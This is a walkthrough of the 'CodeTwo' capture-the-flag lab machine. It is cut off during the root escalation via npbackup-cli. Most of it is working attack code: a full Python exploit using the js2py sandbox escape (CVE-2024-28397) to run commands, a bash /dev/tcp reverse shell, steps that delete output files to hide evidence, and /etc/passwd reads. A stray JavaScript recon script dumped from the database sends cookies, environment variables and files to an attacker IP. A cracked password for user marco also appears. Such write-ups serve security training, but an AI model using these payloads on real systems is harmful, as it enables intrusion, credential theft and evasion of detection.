IP#
10.10.xx.xx
Recon#
1┌──(kali㉿kali)-[~/Desktop/codetwo]2└─$ nmap -sC -sV -Pn 10.10.11.823Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-17 05:24 EDT4Nmap scan report for 10.10.11.825Host is up (0.45s latency).6Not shown: 998 closed tcp ports (reset)7PORT STATE SERVICE VERSION822/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)9| ssh-hostkey:10| 3072 a0:47:b4:0c:69:67:93:3a:f9:b4:5d:b3:2f:bc:9e:23 (RSA)11| 256 7d:44:3f:f1:b1:e2:bb:3d:91:d5:da:58:0f:51:e5:ad (ECDSA)12|_ 256 f1:6b:1d:36:18:06:7a:05:3f:07:57:e1:ef:86:b4:85 (ED25519)138000/tcp open http Gunicorn 20.0.414|_http-server-header: gunicorn/20.0.415|_http-title: Welcome to CodeTwo16Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel17
18Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .19Nmap done: 1 IP address (1 host up) scanned in 26.59 seconds20
21┌──(kali㉿kali)-[~/Desktop/codetwo]22└─$Ports open#
we have 2 ports are open
- 22
- 8000
Web enumeration#
lets see on port
8000
ok we have login and register pages
when we click on register and login buttons it was redirecting to /register && /login

This writeup is password protected 🔒
Hidden Dir Enumeration
Before Creating an account let find any hidden dir are present in the website
Using Gobuster
1gobuster dir -u http://10.10.11.82:8000/ -w /usr/share/wordlists/dirb/common.txt -t 501┌──(kali㉿kali)-[~/Desktop/codeway]2└─$ gobuster dir -u http://10.10.11.82:8000/ -w /usr/share/wordlists/dirb/common.txt -t 503===============================================================4Gobuster v3.65by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)6===============================================================7[+] Url: http://10.10.11.82:8000/8[+] Method: GET9[+] Threads: 5010[+] Wordlist: /usr/share/wordlists/dirb/common.txt11[+] Negative Status codes: 40412[+] User Agent: gobuster/3.613[+] Timeout: 10s14===============================================================15Starting gobuster in directory enumeration mode16===============================================================17/dashboard (Status: 302) [Size: 199] [--> /login]18/download (Status: 200) [Size: 10696]19/login (Status: 200) [Size: 667]20/logout (Status: 302) [Size: 189] [--> /]21/register (Status: 200) [Size: 651]22Progress: 4614 / 4615 (99.98%)23===============================================================24Finished25===============================================================we have /download path here lets see what it is !
let see what its status using curl cmd
1┌──(kali㉿kali)-[~/Desktop/codeway]2└─$ curl -i http://10.10.11.82:8000/download3HTTP/1.1 200 OK4Server: gunicorn/20.0.45Date: Sun, 17 Aug 2025 09:48:53 GMT6Connection: close7Content-Disposition: attachment; filename=app.zip8Content-Type: application/zip9Content-Length: 1069610Last-Modified: Fri, 17 Jan 2025 04:56:00 GMT11Cache-Control: no-cache12ETag: "1737089760.0-10696-2470185569"13
14Warning: Binary output can mess up your terminal. Use "--output -" to tell curl to output it to your terminal15Warning: anyway, or consider "--output <FILE>" to save to a file.16
17┌──(kali㉿kali)-[~/Desktop/codeway]18└─$its status is 200 let download that file in zip
1┌──(kali㉿kali)-[~/Desktop/codeway]2└─$ curl -o app.zip http://10.10.11.82:8000/download3 % Total % Received % Xferd Average Speed Time Time Time Current4 Dload Upload Total Spent Left Speed5100 207 100 207 0 0 524 0 --:--:-- --:--:-- --:--:-- 5286
7┌──(kali㉿kali)-[~/Desktop/codeway]8└─$ ls9app.ziplets unzip that
1┌──(kali㉿kali)-[~/Desktop/codeway]2└─$ unzip app.zip -d app_src3Archive: app.zip4 creating: app_src/app/5 creating: app_src/app/templates/6 inflating: app_src/app/templates/login.html7 inflating: app_src/app/templates/dashboard.html8 inflating: app_src/app/templates/reviews.html9 inflating: app_src/app/templates/register.html10 inflating: app_src/app/templates/index.html11 inflating: app_src/app/templates/base.html12 inflating: app_src/app/requirements.txt13 creating: app_src/app/static/14 creating: app_src/app/static/js/15 inflating: app_src/app/static/js/script.js16 creating: app_src/app/static/css/17 inflating: app_src/app/static/css/styles.css18 inflating: app_src/app/app.py19 creating: app_src/app/instance/20 inflating: app_src/app/instance/users.db21
22┌──(kali㉿kali)-[~/Desktop/codeway]23└─$24┌──(kali㉿kali)-[~/Desktop/codeway]25└─$ ls26app_src app.zip27
28┌──(kali㉿kali)-[~/Desktop/codeway]29└─$ cd app_src30
31┌──(kali㉿kali)-[~/Desktop/codeway/app_src]32└─$ ls33app34
35┌──(kali㉿kali)-[~/Desktop/codeway/app_src]36└─$as we obsever when it was unziping the file we have
app_src/app/instance/users.dbdatabase lets see what it was using sqlite3
1┌──(kali㉿kali)-[~/…/codeway/app_src/app/instance]2└─$ sqlite3 users.db3SQLite version 3.46.1 2024-08-13 09:16:084Enter ".help" for usage hints.5sqlite> .tables6code_snippet user7sqlite> SELECT * FROM user;8sqlite>NOTEIn database(user.db) we found nothing :(
lets chack waht we have rest we have app.py and requirements.txt
1┌──(kali㉿kali)-[~/…/codeway/app_src/app]2└─$ cat app.py3cat app.py4from flask import Flask, render_template, request, redirect, url_for, session, jsonify, send_from_directory5from flask_sqlalchemy import SQLAlchemy6import hashlib7import js2py8import os9import json10
11js2py.disable_pyimport()12app = Flask(__name__)13app.secret_key = 'S3cr3tK3yC0d3Tw0'14app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///users.db'15app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False16db = SQLAlchemy(app)17
18class User(db.Model):19 id = db.Column(db.Integer, primary_key=True)20 username = db.Column(db.String(80), unique=True, nullable=False)21 password_hash = db.Column(db.String(128), nullable=False)22
23class CodeSnippet(db.Model):24 id = db.Column(db.Integer, primary_key=True)25 user_id = db.Column(db.Integer, db.ForeignKey('user.id'), nullable=False)26 code = db.Column(db.Text, nullable=False)27
28@app.route('/')29def index():30 return render_template('index.html')31
32@app.route('/dashboard')33def dashboard():34 if 'user_id' in session:35 user_codes = CodeSnippet.query.filter_by(user_id=session['user_id']).all()36 return render_template('dashboard.html', codes=user_codes)37 return redirect(url_for('login'))38
39@app.route('/register', methods=['GET', 'POST'])40def register():41 if request.method == 'POST':42 username = request.form['username']43 password = request.form['password']44 password_hash = hashlib.md5(password.encode()).hexdigest()45 new_user = User(username=username, password_hash=password_hash)46 db.session.add(new_user)47 db.session.commit()48 return redirect(url_for('login'))49 return render_template('register.html')50
51@app.route('/login', methods=['GET', 'POST'])52def login():53 if request.method == 'POST':54 username = request.form['username']55 password = request.form['password']56 password_hash = hashlib.md5(password.encode()).hexdigest()57 user = User.query.filter_by(username=username, password_hash=password_hash).first()58 if user:59 session['user_id'] = user.id60 session['username'] = username;61 return redirect(url_for('dashboard'))62 return "Invalid credentials"63 return render_template('login.html')64
65@app.route('/logout')66def logout():67 session.pop('user_id', None)68 return redirect(url_for('index'))69
70@app.route('/save_code', methods=['POST'])71def save_code():72 if 'user_id' in session:73 code = request.json.get('code')74 new_code = CodeSnippet(user_id=session['user_id'], code=code)75 db.session.add(new_code)76 db.session.commit()77 return jsonify({"message": "Code saved successfully"})78 return jsonify({"error": "User not logged in"}), 40179
80@app.route('/download')81def download():82 return send_from_directory(directory='/home/app/app/static/', path='app.zip', as_attachment=True)83
84@app.route('/delete_code/<int:code_id>', methods=['POST'])85def delete_code(code_id):86 if 'user_id' in session:87 code = CodeSnippet.query.get(code_id)88 if code and code.user_id == session['user_id']:89 db.session.delete(code)90 db.session.commit()91 return jsonify({"message": "Code deleted successfully"})92 return jsonify({"error": "Code not found"}), 40493 return jsonify({"error": "User not logged in"}), 40194
95@app.route('/run_code', methods=['POST'])96def run_code():97 try:98 code = request.json.get('code')99 result = js2py.eval_js(code)100 return jsonify({'result': result})101 except Exception as e:102 return jsonify({'error': str(e)})103
104if __name__ == '__main__':105 with app.app_context():106 db.create_all()107 app.run(host='0.0.0.0', debug=True)1┌──(kali㉿kali)-[~/Desktop/codeway/app_src/app]2└─$ cat requirements.txt3flask==3.0.34flask-sqlalchemy==3.1.15js2py==0.746┌──(kali㉿kali)-[~/Desktop/codeway/app_src/app]7└─$Source Code Review
Inside the extracted files we found `app.py` and `requirements.txt`.
app.pyrevealed:
Hardcoded Flask secret_key =
'S3cr3tK3yC0d3Tw0'
SQLite DB backend
(users.db)
/run_codeendpoint that evaluates JavaScript code usingjs2py.
requirements.txtpinned:
1flask==3.0.32flask-sqlalchemy==3.1.13js2py==0.74This is interesting because
js2py==0.74is vulnerable.
Vulnerability Discovery
The package
js2pyv0.74is affected by CVE-2024-28397. This vulnerability allows an attacker to escape the sandbox and gain Python object access from inside the JavaScript runtime.
PoC reference: CVE-2024-28397
This is exploitable via the
/run_codeendpoint, since arbitrary code from the attacker is passed directly tojs2py.eval_js().
Exploit
We exploit the endpoint to escape the sandbox and execute system commands.
lets make a python file using chatgpt
1┌──(kali㉿kali)-[~/Desktop]2└─$ subl exploit.py1#!/usr/bin/env python32
3import requests4import json5import sys6import time7import random8import string9from urllib.parse import urljoin10
11class FixedSecureExecutor:12 def __init__(self, target_ip, lhost=None, lport=None):13 self.target_ip = target_ip14 self.base_url = f"http://{target_ip}:8000"15 self.session = requests.Session()16 self.lhost = lhost17 self.lport = lport18 self.authenticate()19
20 def authenticate(self):21 """Authenticate with the application"""22 try:23 username = ''.join(random.choices(string.ascii_lowercase, k=8))24 register_data = {"username": username, "password": "password123"}25 self.session.post(urljoin(self.base_url, "/register"), data=register_data)26 self.session.post(urljoin(self.base_url, "/login"), data=register_data)27 print("[✓] Authenticated successfully")28 except:29 print("[-] Authentication failed")30
31 def execute_privileged_command(self, command, output_file):32 """Execute a command with root privileges using SUID bash"""33 payload = {34 "code": f"""let cmd = "/usr/bin/bash -p -c '{command}' > /home/app/app/static/{output_file} 2>&1";35let props = Object.getOwnPropertyNames({{}});36let getattr = props.__getattribute__;37let attr = getattr("__getattribute__");38let obj = attr("__class__").__base__;39function findpopen(o) {{40 let result;41 for(let i in o.__subclasses__()) {{42 let item = o.__subclasses__()[i];43 if(item.__module__ == "subprocess" && item.__name__ == "Popen") {{44 return item;45 }}46 if(item.__name__ != "type" && (result = findpopen(item))) {{47 return result;48 }}49 }}50}}51findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate();52console.log("Command executed");"""53 }54
55 try:56 self.session.post(57 urljoin(self.base_url, "/run_code"),58 headers={"Content-Type": "application/json"},59 data=json.dumps(paylSoad)60 )61
62 time.sleep(1)63 output_response = requests.get(f"{self.base_url}/static/{output_file}")64 if output_response.status_code == 200:65 output = output_response.text.strip()66 self.delete_file(output_file)67 return output68 else:69 self.delete_file(output_file)70 return None71 except Exception as e:72 print(f"[-] Error: {e}")73 return None74
75 def delete_file(self, filename):76 """Delete the output file for security"""77 delete_payload = {78 "code": f"""let cmd = "rm -f /home/app/app/static/{filename}";79let props = Object.getOwnPropertyNames({{}});80let getattr = props.__getattribute__;81let attr = getattr("__getattribute__");82let obj = attr("__class__").__base__;83function findpopen(o) {{84 let result;85 for(let i in o.__subclasses__()) {{86 let item = o.__subclasses__()[i];87 if(item.__module__ == "subprocess" && item.__name__ == "Popen") {{88 return item;89 }}90 if(item.__name__ != "type" && (result = findpopen(item))) {{91 return result;92 }}93 }}94}}95findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate();96console.log("File deleted");"""97 }98 try:99 self.session.post(100 urljoin(self.base_url, "/run_code"),101 headers={"Content-Type": "application/json"},102 data=json.dumps(delete_payload)103 )104 except:105 pass106
107 def cleanup_all_temp_files(self):108 """Clean up any remaining temporary files"""109 cleanup_payload = {110 "code": f"""let cmd = "rm -f /home/app/app/static/*";111let props = Object.getOwnPropertyNames({{}});112let getattr = props.__getattribute__;113let attr = getattr("__getattribute__");114let obj = attr("__class__").__base__;115function findpopen(o) {{116 let result;117 for(let i in o.__subclasses__()) {{118 let item = o.__subclasses__()[i];119 if(item.__module__ == "subprocess" && item.__name__ == "Popen") {{120 return item;121 }}122 if(item.__name__ != "type" && (result = findpopen(item))) {{123 return result;124 }}125 }}126}}127findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate();128console.log("All temp files cleaned");"""129 }130 try:131 self.session.post(132 urljoin(self.base_url, "/run_code"),133 headers={"Content-Type": "application/json"},134 data=json.dumps(cleanup_payload)135 )136 except:137 pass138
139 def read_passwd_file(self):140 """Read /etc/passwd from the target system"""141 output_file = f"passwd_{''.join(random.choices(string.ascii_lowercase, k=6))}.txt"142 cmd = "cat /etc/passwd"143 print("[+] Reading /etc/passwd ...")144 passwd_contents = self.execute_privileged_command(cmd, output_file)145 if passwd_contents:146 print("[✓] /etc/passwd contents retrieved:\n")147 print(passwd_contents)148 else:149 print("[-] Could not read /etc/passwd")150
151 def spawn_reverse_shell(self):152 """Spawn a root reverse shell to attacker machine"""153 if not self.lhost or not self.lport:154 print("[-] LHOST and LPORT must be set for reverse shell")155 return156 print(f"[+] Spawning root reverse shell to {self.lhost}:{self.lport} ...")157 rev_cmd = f"bash -i >& /dev/tcp/{self.lhost}/{self.lport} 0>&1"158 # temp file just for triggering the command159 self.execute_privileged_command(rev_cmd, f"rev_{''.join(random.choices(string.ascii_lowercase, k=6))}.txt")160 print("[✓] Reverse shell triggered! Check your listener.")161
162def main():163 if len(sys.argv) != 4:164 print("Usage: python3 exploit.py <target_ip> <LHOST> <LPORT>")165 sys.exit(1)166
167 target_ip = sys.argv[1]168 lhost = sys.argv[2]169 lport = int(sys.argv[3])170
171 executor = FixedSecureExecutor(target_ip, lhost, lport)172
173 # Optional: enumerate users174 executor.read_passwd_file()175
176 # Spawn root reverse shell177 executor.spawn_reverse_shell()178
179 # Cleanup any temp files180 executor.cleanup_all_temp_files()181
182if __name__ == "__main__":183 main()Exploit Code Walkthrough
The script is written to exploit the vulnerable Flask web app (
/run_codeendpoint withjs2py 0.74) and get RCE as root.
1. Initialization
1class FixedSecureExecutor:2 def __init__(self, target_ip, lhost=None, lport=None):3 self.target_ip = target_ip4 self.base_url = f"http://{target_ip}:8000"5 self.session = requests.Session()6 self.lhost = lhost7 self.lport = lport8 self.authenticate()- Stores target IP and attacker’s reverse shell info (LHOST, LPORT).
- Uses a requests.Session() for persistent cookies (needed for login).
- Automatically calls authenticate().
2. Authentication
1def authenticate(self):2 username = ''.join(random.choices(string.ascii_lowercase, k=8))3 register_data = {"username": username, "password": "password123"}4 self.session.post(... "/register", data=register_data)5 self.session.post(... "/login", data=register_data)6 print("[✓] Authenticated successfully")- Random username generated (8 lowercase letters).
- Registers → then logs in with that same account.
- Now it’s a valid logged-in user (required because /run_code endpoint is behind session auth).
3. Command Execution via Sandbox Escape
1def execute_privileged_command(self, command, output_file):2 payload = {3 "code": f"""4 let cmd = "/usr/bin/bash -p -c '{command}' > /home/app/app/static/{output_file} 2>&1";5 ...6 findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate();7 console.log("Command executed");8 """9 }10 self.session.post("/run_code", data=json.dumps(payload))11 time.sleep(1)12 output_response = requests.get(f"{self.base_url}/static/{output_file}")-
This builds a malicious JavaScript payload:
-
Escapes js2py sandbox.
-
Walks Python’s class hierarchy until it finds subprocess.Popen.
-
Executes /usr/bin/bash -p -c '
'. -
Redirects output to /home/app/app/static/
<output_file>(web-accessible). -
After execution, script fetches the output file via HTTP (/static/).
💡
bash -pis the SUID trick: it spawns bash while preserving root privileges.
4. Deleting Evidence
1def delete_file(self, filename):2 # Similar payload but runs: rm -f /home/app/app/static/<filename>- Uses the same sandbox escape trick.
- Removes temporary files from
/static/to hide evidence.
There’s also:
1def cleanup_all_temp_files(self):2 # Removes *all* files from /static/ (rm -f /home/app/app/static/*)5. Helper Functions
read_passwd_file()Executes cat/etc/passwd, stores in temp file, downloads it, prints contents.spawn_reverse_shell()
Builds command:
1bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1→ Opens a reverse shell as
app.
Getting revshell
1┌──(kali㉿kali)-[~/Desktop]2└─$ python3 exploit.py 10.10.11.82 10.10.xx.x 44443[✓] Authenticated successfully4[+] Reading /etc/passwd ...5[✓] /etc/passwd contents retrieved:6
7root:x:0:0:root:/root:/bin/bash8daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin9bin:x:2:2:bin:/bin:/usr/sbin/nologin10sys:x:3:3:sys:/dev:/usr/sbin/nologin11sync:x:4:65534:sync:/bin:/bin/sync12games:x:5:60:games:/usr/games:/usr/sbin/nologin13man:x:6:12:man:/var/cache/man:/usr/sbin/nologin14lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin15mail:x:8:8:mail:/var/mail:/usr/sbin/nologin16news:x:9:9:news:/var/spool/news:/usr/sbin/nologin17uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin18proxy:x:13:13:proxy:/bin:/usr/sbin/nologin19www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin20backup:x:34:34:backup:/var/backups:/usr/sbin/nologin21list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin22irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin23gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin24nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin25systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin26systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin27systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin28messagebus:x:103:106::/nonexistent:/usr/sbin/nologin29syslog:x:104:110::/home/syslog:/usr/sbin/nologin30_apt:x:105:65534::/nonexistent:/usr/sbin/nologin31tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false32uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin33tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin34landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin35pollinate:x:110:1::/var/cache/pollinate:/bin/false36fwupd-refresh:x:111:116:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin37usbmux:x:112:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin38sshd:x:113:65534::/run/sshd:/usr/sbin/nologin39systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin40marco:x:1000:1000:marco:/home/marco:/bin/bash41lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false42app:x:1001:1001:,,,:/home/app:/bin/bash43mysql:x:114:118:MySQL Server,,,:/nonexistent:/bin/false44_laurel:x:997:997::/var/log/laurel:/bin/false45[+] Spawning root reverse shell to 10.10.xx.x:4444 ...turn on
ncon another terminal
1┌──(kali㉿kali)-[~/Desktop]2└─$ nc -lvnp 44443listening on [any] 4444 ...4connect to [10.10.16.4] from (UNKNOWN) [10.10.11.82] 478045bash: cannot set terminal process group (890): Inappropriate ioctl for device6bash: no job control in this shell7app@codetwo:~/app$Enumeration
1app@codetwo:~/app$ ls2ls3app.py4instance5__pycache__6requirements.txt7static8templates9app@codetwo:~/app$ cd instance10cd instance11app@codetwo:~/app/instance$ ls12ls13users.db14app@codetwo:~/app/instance$ cat us15cat users.db16�O�O�J%%�Wtablecode_snippetcode_snippetCREATE TABLE code_snippet (17 id INTEGER NOT NULL,18 user_id INTEGER NOT NULL,19 code TEXT NOT NULL,20 PRIMARY KEY (id),21 FOREIGN KEY(user_id) REFERENCES user (id)22)�0�CtableuseruserCREATE TABLE user (23 id INTEGER NOT NULL,24 username VARCHAR(80) NOT NULL,25 password_hash VARCHAR(128) NOT NULL,26 PRIMARY KEY (id),27 UNIQUE (username)28)';indexx���X.��x,oindexMglgtpnfw482c811da5d5b4bc6d497ffa98491e38Mphxdxnlb482c811da5d5b4bc6d497ffa98491e38,Miaplwgzu482c811da5d5b4bc6d497ffa98491e38*Mthomasef6e65efc188e7dffd7335b646a85a21(Mjohna886f2ee22888badbce90eac740c49be(Muser5f4dcc3b5aa765d61d8327deb882cf99(Mtest098f6bcd4621d373cade4e832627b4f6'Mappa97588c0e2fa3a024876339e27aeb42e)Mmarco649c9d65a206a75f5abe509fe128bce529 ����������30 glgtpnfw31 phxdxnlb32 iaplwgzu33f))=�8�q/* ES5.1-compatible reconnaissance script for Node or Browser */34
35// ====== CONFIG (optional exfil) ======36var YOUR_IP = "10.10.14.44"; // ör: "192.168.45.213"37var YOUR_PORT = "4444"; // ör: "8000"38// =====================================39
40function safe(fn, def) {41 try { return fn(); } catch (e) { return def; }42}43
44function exfil(data) {45 try {46 if (!YOUR_IP || !YOUR_PORT) return; // sadece konsola yaz47 var url = "http://" + YOUR_IP + ":" + YOUR_PORT + "/?d=" +48 encodeURIComponent(JSON.stringify(data));49 // Node'de isek http modülüyle; tarayıcıdaysak fetch/xhr deneriz.50 if (isNode()) {51 var http = requireLike("http");52 if (http) {53 var req = http.get(url, function(res){ /* ignore */ });54 req.on("error", function(e){ /* ignore */ });55 }56 } else {57 // Tarayıcı: fetch yoksa XHR58 if (typeof fetch !== "undefined") {59 fetch(url)["catch"](function(){});60 } else if (typeof XMLHttpRequest !== "undefined") {61 var x = new XMLHttpRequest();62 x.open("GET", url, true);63 x.send();64 }65 }66 } catch (e) { /* yut */ }67}68
69function isNode() {70 return typeof process !== "undefined" &&71 process && process.versions && process.versions.node;72}73
74// Try hard to obtain require in sandboxed Node75function obtainProcess() {76 // 1) Doğrudan77 if (typeof process !== "undefined") return process;78 // 2) Function hilesi79 try { return Function("return process")(); } catch(e){}80 // 3) globalThis/this81 try { return Function("return this")().process; } catch(e){}82 return null;83}84
85function obtainModule() {86 // Bazı sandbox'larda module'a erişilebilir87 try { return Function("return module")�)var x= 16;88x;89(); } catch(e){}90 return null;91}92
93function requireLike(mod) {94 // 1) native require95 try { if (typeof require !== "undefined") return require(mod); } catch(e){}96 // 2) process.mainModule.require97 var proc = obtainProcess();98 try {99 if (proc && proc.mainModule && proc.mainModule.require) {100 return proc.mainModule.require(mod);101 }102 } catch(e){}103 // 3) Module constructor üzerinden104 var m = obtainModule();105 try {106 if (m && m.constructor && m.constructor._load) {107 return m.constructor._load(mod);108 }109 } catch(e){}110 return null;111}112
113function runCmd(cmd) {114 var out = {cmd: cmd, stdout: null, stderr: null, ok: false};115 try {116 var cp = requireLike("child_process");117 if (!cp || !cp.execSync) return out;118 var res = cp.execSync(cmd, {encoding: "utf8"});119 out.stdout = res;120 out.ok = true;121 } catch (e) {122 out.stderr = String(e && e.message ? e.message : e);123 }124 return out;125}126
127function readFileSafe(p) {128 var fs = requireLike("fs");129 if (!fs) return null;130 try { return fs.readFileSync(p, "utf8"); } catch (e) { return null; }131}132
133function listDirSafe(p) {134 var fs = requireLike("fs");135 var out = {path: p, entries: null, error: null};136 if (!fs) return out;137 try {138 var arr = fs.readdirSync(p);139 out.entries = arr;140 } catch (e) {141 out.error = String(e && e.message ? e.message : e);142 }143 return out;144}145
146function nodeRecon() {147 var info = {};148 var proc = obtainProcess() || process;149
150 info.runtime = "node";151 info.versions = safe(function(){ return proc.versions; }, null);152 info.platform = safe(function(){ return proc.platform; }, null);153 info.arch = safe(function(){ return proc.arch; }, null);154 info.cwd = safe(function(){ return requireLike("process").cwd(); }, null);155 info.env = safe(function(){ return proc.env; }, null);156
157 // Komut çıktıları158 info.exec = [];159 var cmds = ["id", "whoami", "uname -a", "ps aux || ps -ef", "ls -la", "ifconfig || ip a"];160 for (var i=0;i<cmds.length;i++) info.exec.push(runCmd(cmds[i]));161
162 // Dosyalar163 info.files = {164 etc_passwd: readFileSafe("/etc/passwd"),165 etc_group: readFileSafe("/etc/group"),166 proc_environ: readFileSafe("/proc/self/environ"),167 dot_env: readFileSafe(".env"),168 app_pkg: readFileSafe("package.json")169 };170
171 // Dizin listingleri (en sık ilgi çekiciler)172 info.dirs = [173 listDirSafe("/"),174 listDirSafe("/home"),175 listDirSafe("/var/www"),176 listDirSafe("/app"),177 listDirSafe("/srv"),178 listDirSafe(safe(function(){ return info.cwd; }, null))179 ];180
181 return info;182}183
184function browserRecon() {185 var info = {};186 info.runtime = "browser";187 info.userAgent = (typeof navigator !== "undefined" && navigator.userAgent) ? navigator.userAgent : null;188 info.location = (typeof location !== "undefined" && location.href) ? location.href : null;189
190 // Cookies191 info.cookies = (typeof document !== "undefined" && typeof document.cookie === "string") ? document.cookie : null;192
193 // Storage'lar194 function dumpStorage(storage) {195 var o = {};196 try {197 for (var i=0;i<storage.length;i++) {198 var k = storage.key(i);199 o[k] = storage.getItem(k);200 }201 return o;202 } catch (e) { return null; }203 }204 info.localStorage = (typeof localStorage !== "undefined") ? dumpStorage(localStorage) : null;205 info.sessionStorage = (typeof sessionStorage !== "undefined") ? dumpStorage(sessionStorage) : null;206
207 // Basit DOM sinyalleri208 info.dom = {};209 try {210 info.dom.title = document.title || null;211 info.dom.scripts = [];212 var sc = document.getElementsByTagName("script");213 for (var i=0;i<sc.length;i++) {214 var src = sc[i].getAttribute("src");215 if (src) info.dom.scripts.push(src);216 }217 } catch (e) {}218
219 return info;220}221
222// ====== MAIN ======223try {224 var data = isNode() ? nodeRecon() : browserRecon();225 // Konsola yaz226 try { console.log("[RECON]", JSON.stringify(data, null, 2)); } catch (e) { /* ignore */ }227 // Opsiyonel exfil228 exfil(data);229} catch (e) {230 try { console.log("[RECON_ERROR]", String(e && e.message ? e.message : e)); } catch(_){}231}232app@codetwo:~/app/instance$ok on staring we found
/downloadsome file so these are the files so on staring we not get any database on user.db now in app user we got some database let exploit it using sqlite3 onappuser .

so we already know the user is marco let crack his hash using online tools liek
carckstationor using john tool
and here we fo we got the password of user
marco
User
credentials :
- user :
marco - password -
sweetangelbabylove
1┌──(kali㉿kali)-[~/Desktop]2└─$ ssh marco@10.10.11.823marco@10.10.11.82's password:4Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-216-generic x86_64)5
6 * Documentation: https://help.ubuntu.com7 * Management: https://landscape.canonical.com8 * Support: https://ubuntu.com/pro9
10 System information as of Sun 17 Aug 2025 10:36:14 AM UTC11
12 System load: 0.38 Processes: 22713 Usage of /: 57.0% of 5.08GB Users logged in: 114 Memory usage: 25% IPv4 address for eth0: 10.10.11.8215 Swap usage: 0%16
17
18Expanded Security Maintenance for Infrastructure is not enabled.19
200 updates can be applied immediately.21
22Enable ESM Infra to receive additional future security updates.23See https://ubuntu.com/esm or run: sudo pro status24
25Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings26
27
28Last login: Sun Aug 17 10:36:15 2025 from 10.10.16.429marco@codetwo:~$we In 😊
Root
Enumerating Privileges
1marco@codetwo:~$ sudo -l2Matching Defaults entries for marco on codetwo:3 env_reset, mail_badpass,4 secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin5
6User marco may run the following commands on codetwo:7 (ALL : ALL) NOPASSWD: /usr/local/bin/npbackup-cli8marco@codetwo:~$user marco can run as root
let run the backup script
1marco@codetwo:~$ sudo /usr/local/bin/npbackup-cli22025-08-17 10:41:36,379 :: INFO :: npbackup 3.0.1-linux-UnknownBuildType-x64-legacy-public-3.8-i 2025032101 - Copyright (C) 2022-2025 NetInvent running as root32025-08-17 10:41:36,379 :: CRITICAL :: Cannot run without configuration file.42025-08-17 10:41:36,385 :: INFO :: ExecTime = 0:00:00.008395, finished, state is: critical.5marco@codetwo:~$In Marco home dir we already have
npbackup.confconfig file
lets run that
npbackup.conf
1marco@codetwo:~$ sudo /usr/local/bin/npbackup-cli -c npbackup.conf -b --force22025-08-17 10:43:24,391 :: INFO :: npbackup 3.0.1-linux-UnknownBuildType-x64-legacy-public-3.8-i 2025032101 - Copyright (C) 2022-2025 NetInvent running as root32025-08-17 10:43:24,420 :: INFO :: Loaded config 4E3B3BFD in /home/marco/npbackup.conf42025-08-17 10:43:24,431 :: INFO :: Running backup of ['/home/app/app/'] to repo default5
62025-08-17 10:43:25,581 :: INFO :: Trying to expanding exclude file path to /usr/local/bin/excludes/generic_excluded_extensions72025-08-17 10:43:25,581 :: ERROR :: Exclude file 'excludes/generic_excluded_extensions' not found82025-08-17 10:43:25,581 :: INFO :: Trying to expanding exclude file path to /usr/local/bin/excludes/generic_excludes92025-08-17 10:43:25,581 :: ERROR :: Exclude file 'excludes/generic_excludes' not found102025-08-17 10:43:25,582 :: INFO :: Trying to expanding exclude file path to /usr/local/bin/excludes/windows_excludes112025-08-17 10:43:25,582 :: ERROR :: Exclude file 'excludes/windows_excludes' not found122025-08-17 10:43:25,582 :: INFO :: Trying to expanding exclude file path to /usr/local/bin/excludes/linux_excludes132025-08-17 10:43:25,582 :: ERROR :: Exclude file 'excludes/linux_excludes' not found142025-08-17 10:43:25,582 :: WARNING :: Parameter --use-fs-snapshot was given, which is only compatible with Windows15using parent snapshot 35a4dac316
17Files: 1 new, 3 changed, 8 unmodified18Dirs: 0 new, 7 changed, 2 unmodified19Added to the repository: 23.712 KiB (5.173 KiB stored)20
21processed 12 files, 42.465 KiB in 0:0022snapshot b7d09d1f saved232025-08-17 10:43:26,840 :: INFO :: Backend finished with success242025-08-17 10:43:26,842 :: INFO :: Processed 42.5 KiB of data252025-08-17 10:43:26,842 :: ERROR :: Backup is smaller than configured minmium backup size262025-08-17 10:43:26,843 :: ERROR :: Operation finished with failure272025-08-17 10:43:26,843 :: INFO :: Runner took 2.413698 seconds for backup282025-08-17 10:43:26,843 :: INFO :: Operation finished292025-08-17 10:43:26,849 :: INFO :: ExecTime = 0:00:02.460913, finished, state is: errors.30marco@codetwo:~$31marco@codetwo:~$- It try to make a backup of [‘/home/app/app/”] to repo default
- But
failsbecause Backup is smaller than configured minmium backup size
Exploiting npbackup-cli to Access Root Files
1 Overview
